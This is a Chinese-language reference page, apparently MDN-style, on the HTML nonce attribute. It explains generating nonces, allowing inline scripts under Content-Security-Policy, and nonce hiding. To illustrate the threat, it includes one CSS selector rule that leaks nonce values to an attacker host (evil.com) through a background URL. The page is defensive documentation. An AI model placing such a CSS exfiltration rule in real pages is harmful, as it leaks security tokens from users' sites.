HTML nonce 全域性屬性

描述

nonce 屬性有助於允許特定元素，例如特定的內聯指令碼或樣式元素。它可以幫助您避免使用 CSP 的 unsafe-inline 指令，該指令會允許所有內聯指令碼或樣式。

使用 nonce 允許 <script> 元素

使用 nonce 機制允許內聯指令碼涉及幾個步驟。

生成值

在您的 Web 伺服器上，使用加密安全的隨機數生成器生成一個至少 128 位的隨機 base64 編碼字串。Nonce 應該在每次頁面載入時都不同（nonce 僅使用一次！）。例如，在 nodejs 中：

import crypto from "node:crypto";

crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

允許內聯指令碼

您後端程式碼中生成的 nonce 現在應該用於您想要允許的內聯指令碼。

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

透過 CSP 標頭髮送 nonce

最後，您需要將 nonce 值傳送到 Content-Security-Policy 標頭中（字首為 nonce-）。

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

訪問 nonce 和 nonce 隱藏

出於安全原因，nonce 內容屬性是隱藏的（將返回一個空字串）。

script.getAttribute("nonce"); // returns empty string

nonce 屬性是訪問 nonce 的唯一方式。

script.nonce; // returns nonce value

Nonce 隱藏有助於防止攻擊者透過可以抓取內容屬性資料的機制（例如此處的）來竊取 nonce 資料。

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

規範

瀏覽器相容性

另見

• HTMLElement.nonce
• 內容安全策略
• CSP：script-src